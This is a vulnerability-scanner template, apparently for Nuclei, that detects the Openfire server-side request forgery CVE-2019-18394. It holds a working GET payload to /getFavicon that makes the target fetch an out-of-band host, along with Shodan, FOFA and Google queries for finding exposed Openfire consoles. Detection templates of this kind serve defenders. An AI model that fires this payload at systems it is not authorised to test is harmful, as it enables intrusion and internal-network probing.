id: CVE-2019-18394

info:
  name: Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/openfire-admin-console/
    - https://github.com/igniterealtime/Openfire/pull/1497
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18394
    cwe-id: CWE-918
    epss-score: 0.32304
    epss-percentile: 0.98153
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - http.title:"openfire admin console"
      - http.title:"openfire"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve,cve2019,ssrf,openfire,oast,igniterealtime,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getFavicon?host=oast.fun?"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - "contains(content_type, 'image/x-icon')"
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100f347073424cdf363df0e66d5aedd8b90e1124a6317cc7eea5e5e5d412a4c1c0e02204dd26112a7839e8dc6891cfa534d5b6b37ada2a39d315f0ac2f6117bab9c3b04:922c64590222798bb761d5b6d8e72950